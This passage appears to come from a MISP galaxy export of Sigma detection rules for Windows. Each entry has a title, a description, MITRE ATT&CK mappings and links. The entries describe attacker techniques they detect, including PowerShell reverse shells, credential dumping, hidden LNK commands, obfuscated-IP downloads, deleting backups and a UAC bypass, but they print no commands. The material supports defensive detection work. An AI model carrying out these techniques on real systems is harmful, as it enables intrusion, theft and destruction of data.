Links
https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_mklink_shadow_copies_access_symlink.yml

Suspicious Serv-U Process Pattern

Detects a suspicious process pattern which could be a sign of an exploited Serv-U service

The tag is: *misp-galaxy:sigma-rules="Suspicious Serv-U Process Pattern"*

View relationships graph

Suspicious Serv-U Process Pattern has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"

Table 15878. Table References

Links
https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_servu_susp_child_process.yml

Obfuscated IP Download Activity

Detects use of an encoded/obfuscated version of an IP address (hex, octal...) in an URL combined with a download command

The tag is: *misp-galaxy:sigma-rules="Obfuscated IP Download Activity"*

Table 15879. Table References

Links
https://twitter.com/Yasser_Elsnbary/status/1553804135354564608
https://twitter.com/fr0s7_/status/1712780207105404948
https://h.43z.one/ipconverter/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_obfuscated_ip_download.yml

Suspicious LNK Command-Line Padding with Whitespace Characters

Detects exploitation of LNK file command-line length discrepancy, where attackers hide malicious commands beyond the 260-character UI limit while the actual command-line argument field supports 4096 characters using whitespace padding (e.g., 0x20, 0x09-0x0D). Adversaries insert non-printable whitespace characters (e.g., Line Feed \x0A, Carriage Return \x0D) to pad the visible section of the LNK file, pushing malicious commands past the UI-visible boundary. The hidden payload, executed at runtime but invisible in Windows Explorer properties, enables stealthy execution and evasion—commonly used for social engineering attacks. This rule flags suspicious use of such padding observed in real-world attacks.

The tag is: *misp-galaxy:sigma-rules="Suspicious LNK Command-Line Padding with Whitespace Characters"*

View relationships graph

Suspicious LNK Command-Line Padding with Whitespace Characters has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

Table 15880. Table References

Links
https://thehackernews.com/2025/03/unpatched-windows-zero-day-flaw.html
https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html
https://syedhasan010.medium.com/forensics-analysis-of-an-lnk-file-da68a98b8415
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lnk_exec_hidden_cmd.yml

Suspicious BitLocker Access Agent Update Utility Execution

Detects the execution of the BitLocker Access Agent Update Utility (baaupdate.exe) which is not a common parent process for other processes. Suspicious child processes spawned by baaupdate.exe could indicate an attempt at lateral movement via BitLocker DCOM & COM Hijacking.

The tag is: *misp-galaxy:sigma-rules="Suspicious BitLocker Access Agent Update Utility Execution"*

View relationships graph

Suspicious BitLocker Access Agent Update Utility Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"

Table 15881. Table References

Links
https://github.com/rtecCyberSec/BitlockMove
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_baaupdate_susp_child_process.yml

Potential Arbitrary File Download Using Office Application

Detects potential arbitrary file download using a Microsoft Office application

The tag is: *misp-galaxy:sigma-rules="Potential Arbitrary File Download Using Office Application"*

View relationships graph

Potential Arbitrary File Download Using Office Application has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 15882. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Excel/
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Powerpnt/
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Winword/
https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_arbitrary_cli_download.yml

Pubprn.vbs Proxy Execution

Detects the use of the 'Pubprn.vbs' Microsoft signed script to execute commands.

The tag is: *misp-galaxy:sigma-rules="Pubprn.vbs Proxy Execution"*

View relationships graph

Pubprn.vbs Proxy Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PubPrn - T1216.001" with estimative-language:likelihood-probability="almost-certain"

Table 15883. Table References

Links
https://lolbas-project.github.io/lolbas/Scripts/Pubprn/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pubprn.yml

Scheduled Task Executing Payload from Registry

Detects the creation of a schtasks that potentially executes a payload stored in the Windows Registry using PowerShell.

The tag is: *misp-galaxy:sigma-rules="Scheduled Task Executing Payload from Registry"*

View relationships graph

Scheduled Task Executing Payload from Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15884. Table References

Links
https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_reg_loader.yml

Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 3

Detects the usage of emojis in the command line, this could be a sign of potential defense evasion activity.

The tag is: *misp-galaxy:sigma-rules="Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 3"*

Table 15885. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_emoji_usage_in_cli_3.yml

System Disk And Volume Reconnaissance Via Wmic.EXE

An adversary might use WMI to discover information about the system, such as the volume name, size, free space, and other disk information. This can be done using the 'wmic' command-line utility and has been observed being used by threat actors such as Volt Typhoon.

The tag is: *misp-galaxy:sigma-rules="System Disk And Volume Reconnaissance Via Wmic.EXE"*

View relationships graph

System Disk And Volume Reconnaissance Via Wmic.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 15886. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-144a
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wmic

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_volume.yml

User Shell Folders Registry Modification via CommandLine

Detects modifications to User Shell Folders registry values via reg.exe or PowerShell, which could indicate persistence attempts. Attackers may modify User Shell Folders registry values to point to malicious executables or scripts that will be executed during startup. This technique is often used to maintain persistence on a compromised system by ensuring that malicious payloads are executed automatically.

The tag is: *misp-galaxy:sigma-rules="User Shell Folders Registry Modification via CommandLine"*

View relationships graph

User Shell Folders Registry Modification via CommandLine has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 15887. Table References

Links
https://www.welivesecurity.com/en/eset-research/muddywater-snakes-riverbank/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_user_shell_folders_registry_modification.yml

Modify Group Policy Settings

Detect malicious GPO modifications can be used to implement many other malicious behaviors.

The tag is: *misp-galaxy:sigma-rules="Modify Group Policy Settings"*

View relationships graph

Modify Group Policy Settings has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001" with estimative-language:likelihood-probability="almost-certain"

Table 15888. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1484.001/T1484.001.md

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_modify_group_policy_settings.yml

Renamed PAExec Execution

Detects execution of renamed version of PAExec. Often used by attackers

The tag is: *misp-galaxy:sigma-rules="Renamed PAExec Execution"*

View relationships graph

Renamed PAExec Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 15889. Table References

Links
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf
https://www.poweradmin.com/paexec/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_paexec.yml

Potential Register_App.Vbs LOLScript Abuse

Detects potential abuse of the "register_app.vbs" script that is part of the Windows SDK. The script offers the capability to register new VSS/VDS Provider as a COM+ application. Attackers can use this to install malicious DLLs for persistence and execution.

The tag is: *misp-galaxy:sigma-rules="Potential Register_App.Vbs LOLScript Abuse"*

View relationships graph

Potential Register_App.Vbs LOLScript Abuse has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15890. Table References

Links
https://github.com/microsoft/Windows-classic-samples/blob/7cbd99ac1d2b4a0beffbaba29ea63d024ceff700/Samples/Win7Samples/winbase/vss/vssampleprovider/register_app.vbs
https://twitter.com/sblmsrsn/status/1456613494783160325?s=20

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolscript_register_app.yml

Usage Of Web Request Commands And Cmdlets

Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via CommandLine

The tag is: *misp-galaxy:sigma-rules="Usage Of Web Request Commands And Cmdlets"*

View relationships graph

Usage Of Web Request Commands And Cmdlets has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15891. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/bitstransfer/add-bitsfile?view=windowsserver2019-ps
https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/
https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_web_request_cmd_and_cmdlets.yml

Windows Recovery Environment Disabled Via Reagentc

Detects attempts to disable windows recovery environment using Reagentc. ReAgentc.exe is a command-line tool in Windows used to manage the Windows Recovery Environment (WinRE). It allows users to enable, disable, and configure WinRE, which is used for troubleshooting and repairing common boot issues.

The tag is: *misp-galaxy:sigma-rules="Windows Recovery Environment Disabled Via Reagentc"*

View relationships graph

Windows Recovery Environment Disabled Via Reagentc has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 15892. Table References

Links

https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/reagentc-command-line-options?view=windows-11
https://www.elastic.co/security-labs/maas-appeal-an-infostealer-rises-from-the-ashes
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reagentc_disable_windows_recovery_environment.yml

New DNS ServerLevelPluginDll Installed Via Dnscmd.EXE

Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required)

The tag is: *misp-galaxy:sigma-rules="New DNS ServerLevelPluginDll Installed Via Dnscmd.EXE"*

View relationships graph

New DNS ServerLevelPluginDll Installed Via Dnscmd.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 15893. Table References

Links
https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html
https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscmd_install_new_server_level_plugin_dll.yml

Remote Access Tool - ScreenConnect Server Web Shell Execution

Detects potential web shell execution from the ScreenConnect server process.

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - ScreenConnect Server Web Shell Execution"*

View relationships graph

Remote Access Tool - ScreenConnect Server Web Shell Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 15894. Table References

Links
https://blackpointcyber.com/resources/blog/breaking-through-the-screen/
https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_screenconnect_webshell.yml

Potential Powershell ReverseShell Connection

Detects usage of the "TcpClient" class. Which can be abused to establish remote connections and reverse-shells. As seen used by the Nishang "Invoke-PowerShellTcpOneLine" reverse shell and other.

The tag is: *misp-galaxy:sigma-rules="Potential Powershell ReverseShell Connection"*

View relationships graph

Potential Powershell ReverseShell Connection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15895. Table References

Links
https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Shells/Invoke-PowerShellTcpOneLine.ps1
https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_reverse_shell_connection.yml

Forfiles Command Execution

Detects the execution of "forfiles" with the "/c" flag. While this is an expected behavior of the tool, it can be abused in order to proxy execution through it with any binary. Can be used to bypass application whitelisting.

The tag is: *misp-galaxy:sigma-rules="Forfiles Command Execution"*

View relationships graph

Forfiles Command Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with

estimative-language:likelihood-probability="almost-certain"

Table 15896. Table References

Links
https://pentestlab.blog/2020/07/06/indirect-command-execution/
https://lolbas-project.github.io/lolbas/Binaries/Forfiles/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_forfiles_proxy_execution_.yml

HackTool - Impacket Tools Execution

Detects the execution of different compiled Windows binaries of the impacket toolset (based on names or part of their names - could lead to false positives)

The tag is: *misp-galaxy:sigma-rules="HackTool - Impacket Tools Execution"*

View relationships graph

HackTool - Impacket Tools Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"

Table 15897. Table References

Links
https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_impacket_tools.yml

HackTool - RemoteKrbRelay Execution

Detects the use of RemoteKrbRelay, a Kerberos relaying tool via CommandLine flags and PE metadata.

The tag is: *misp-galaxy:sigma-rules="HackTool - RemoteKrbRelay Execution"*

View relationships graph

HackTool - RemoteKrbRelay Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

Table 15898. Table References

Links
https://github.com/CICADA8-Research/RemoteKrbRelay

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_krbrelay_remote.yml

Enable LM Hash Storage - ProcCreation

Detects changes to the "NoLMHash" registry value in order to allow Windows to store LM Hashes. By setting this registry value to "0" (DWORD), Windows will be allowed to store a LAN manager hash of your password in Active Directory and local SAM databases.

The tag is: *misp-galaxy:sigma-rules="Enable LM Hash Storage - ProcCreation"*

View relationships graph

Enable LM Hash Storage - ProcCreation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 15899. Table References

Links
https://www.sans.org/blog/protecting-privileged-domain-accounts-lm-hashes-the-good-the-bad-and-the-ugly/
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a
https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/prevent-windows-store-lm-hash-password
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_nolmhash.yml

Remote Access Tool - MeshAgent Command Execution via MeshCentral

Detects the use of MeshAgent to execute commands on the target host, particularly when threat actors might abuse it to execute commands directly. MeshAgent can execute commands on the target host by leveraging win-console to obscure their activities and win-dispatcher to run malicious code through IPC with child processes.

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - MeshAgent Command Execution via MeshCentral"*

View relationships graph

Remote Access Tool - MeshAgent Command Execution via MeshCentral has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 15900. Table References

Links
https://github.com/Ylianst/MeshAgent/blob/52cf129ca43d64743181fbaf940e0b4ddb542a37/modules/win-info.js#L55
https://github.com/Ylianst/MeshAgent/blob/52cf129ca43d64743181fbaf940e0b4ddb542a37/modules/win-dispatcher.js#L173
https://github.com/Ylianst/MeshAgent
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_meshagent_exec.yml

UAC Bypass Using IDiagnostic Profile

Detects the "IDiagnosticProfileUAC" UAC bypass technique

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Using IDiagnostic Profile"*

View relationships graph

UAC Bypass Using IDiagnostic Profile has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 15901. Table References

Links
https://github.com/Wh04m1001/IDiagnosticProfileUAC
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_idiagnostic_profile.yml

Invoke-Obfuscation COMPRESS OBFUSCATION

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation COMPRESS OBFUSCATION"*

View relationships graph

Invoke-Obfuscation COMPRESS OBFUSCATION has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15902. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_compress.yml

PUA - Potential PE Metadata Tamper Using Rcedit

Detects the use of rcedit to potentially alter executable PE metadata properties, which could conceal efforts to rename system utilities for defense evasion.

The tag is: *misp-galaxy:sigma-rules="PUA - Potential PE Metadata Tamper Using Rcedit"*

View relationships graph

PUA - Potential PE Metadata Tamper Using Rcedit has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 15903. Table References

Links
https://github.com/electron/rcedit
https://www.virustotal.com/gui/file/02e8e8c5d430d8b768980f517b62d7792d690982b9ba0f7e04163cbc1a6e7915
https://security.stackexchange.com/questions/210843/is-it-possible-to-change-original-filename-of-an-exe
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_rcedit_execution.yml

Assembly Loading Via CL_LoadAssembly.ps1

Detects calls to "LoadAssemblyFromPath" or "LoadAssemblyFromNS" that are part of the "CL_LoadAssembly.ps1" script. This can be abused to load different assemblies and bypass App locker controls.

The tag is: *misp-galaxy:sigma-rules="Assembly Loading Via CL_LoadAssembly.ps1"*

View relationships graph

Assembly Loading Via CL_LoadAssembly.ps1 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"

Table 15904. Table References

Links
https://lolbas-project.github.io/lolbas/Scripts/CL_LoadAssembly/
https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cl_loadassembly.yml

PUA - AdFind Suspicious Execution

Detects AdFind execution with common flags seen used during attacks

The tag is: *misp-galaxy:sigma-rules="PUA - AdFind Suspicious Execution"*

View relationships graph

PUA - AdFind Suspicious Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"

Table 15905. Table References

Links
https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx
https://thedfirreport.com/2020/05/08/adfind-recon/
https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/
https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1087.002/T1087.002.md#atomic-test-7---adfind---enumerate-active-directory-user-objects
https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md

https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/
https://www.joeware.net/freetools/tools/adfind/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_adfind_susp_usage.yml

PUA - Mouse Lock Execution

In Kaspersky's 2020 Incident Response Analyst Report they listed legitimate tool "Mouse Lock" as being used for both credential access and collection in security incidents.

The tag is: *misp-galaxy:sigma-rules="PUA - Mouse Lock Execution"*

View relationships graph

PUA - Mouse Lock Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1056.002" with estimative-language:likelihood-probability="almost-certain"

Table 15906. Table References

Links
https://github.com/klsecservices/Publications/blob/657deb6a6eb6e00669afd40173f425fb49682eaa/Incident-Response-Analyst-Report-2020.pdf
https://sourceforge.net/projects/mouselock/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_mouselock_execution.yml

Import LDAP Data Interchange Format File Via Ldifde.EXE

Detects the execution of "Ldifde.exe" with the import flag "-i". The can be abused to include HTTP-based arguments which will allow the arbitrary download of files from a remote server.

The tag is: *misp-galaxy:sigma-rules="Import LDAP Data Interchange Format File Via Ldifde.EXE"*

View relationships graph

Import LDAP Data Interchange Format File Via Ldifde.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15907. Table References

Links
https://strontic.github.io/xcyclopedia/library/ldifde.exe-979DE101F5059CEC1D2C56967CA2BAC0.html
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)
https://twitter.com/0gtweet/status/1564968845726580736
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ldifde_file_load.yml

Stop Windows Service Via Net.EXE

Detects the stopping of a Windows service via the "net" utility.

The tag is: *misp-galaxy:sigma-rules="Stop Windows Service Via Net.EXE"*

View relationships graph

Stop Windows Service Via Net.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

Table 15908. Table References

Links
https://ss64.com/nt/net-service.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_stop_service.yml

Potential Homoglyph Attack Using Lookalike Characters

Detects the presence of unicode characters which are homoglyphs, or identical in appearance, to ASCII letter characters. This is used as an obfuscation and masquerading techniques. Only "perfect" homoglyphs are included; these are characters that are indistinguishable from ASCII characters and thus may make excellent candidates for homoglyph attack characters.

The tag is: *misp-galaxy:sigma-rules="Potential Homoglyph Attack Using Lookalike Characters"*

View relationships graph

Potential Homoglyph Attack Using Lookalike Characters has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with

estimative-language:likelihood-probability="almost-certain"

Table 15909. Table References

Links
http://www.irongeek.com/homoglyph-attack-generator.php
https://redcanary.com/threat-detection-report/threats/socgholish/#threat-socgholish
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_homoglyph_cyrillic_lookalikes.yml

Windows Backup Deleted Via Wbadmin.EXE

Detects the deletion of backups or system state backups via "wbadmin.exe". This technique is used by numerous ransomware families and actors. This may only be successful on server platforms that have Windows Backup enabled.

The tag is: *misp-galaxy:sigma-rules="Windows Backup Deleted Via Wbadmin.EXE"*

View relationships graph

Windows Backup Deleted Via Wbadmin.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 15910. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-systemstatebackup
https://www.sentinelone.com/labs/ranzy-ransomware-better-encryption-among-new-features-of-thunderx-derivative/
https://github.com/albertzsigovits/malware-notes/blob/558898932c1579ff589290092a2c8febefc3a4c9/Ransomware/Lockbit.md
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-report-avaddon-and-new-techniques-emerge-industrial-sector-targeted
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/24/b/lockbit-attempts-to-stay-afloat-with-a-new-version/technical-appendix-lockbit-ng-dev-analysis.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wbadmin_delete_backups.yml

Potential PowerShell Obfuscation Via WCHAR/CHAR

Detects suspicious encoded character syntax often used for defense evasion

The tag is: *misp-galaxy:sigma-rules="Potential PowerShell Obfuscation Via WCHAR/CHAR"*

View relationships graph

Potential PowerShell Obfuscation Via WCHAR/CHAR has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 15911. Table References

Links
https://twitter.com/0gtweet/status/1281103918693482496
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_obfuscation_via_utf8.yml

Boot Configuration Tampering Via Bcdedit.EXE

Detects the use of the bcdedit command to tamper with the boot configuration data. This technique is often times used by malware or attackers as a destructive way before launching ransomware.

The tag is: *misp-galaxy:sigma-rules="Boot Configuration Tampering Via Bcdedit.EXE"*

View relationships graph

Boot Configuration Tampering Via Bcdedit.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 15912. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md
https://eqllib.readthedocs.io/en/latest/analytics/c4732632-9c1d-4980-9fa8-1d98c93f918e.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bcdedit_boot_conf_tamper.yml

PUA - Chisel Tunneling Tool Execution

Detects usage of the Chisel tunneling tool via the commandline arguments

The tag is: *misp-galaxy:sigma-rules="PUA - Chisel Tunneling Tool Execution"*

View relationships graph

PUA - Chisel Tunneling Tool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

Table 15913. Table References

Links
https://github.com/jpillora/chisel/
https://blog.sekoia.io/lucky-mouse-incident-response-to-detection-engineering/
https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_chisel.yml

Sysmon Discovery Via Default Driver Altitude Using Findstr.EXE

Detects usage of "findstr" with the argument "385201". Which could indicate potential discovery of an installed Sysinternals Sysmon service using the default driver altitude (even if the name is changed).

The tag is: *misp-galaxy:sigma-rules="Sysmon Discovery Via Default Driver Altitude Using Findstr.EXE"*

View relationships graph

Sysmon Discovery Via Default Driver Altitude Using Findstr.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

Table 15914. Table References

Links
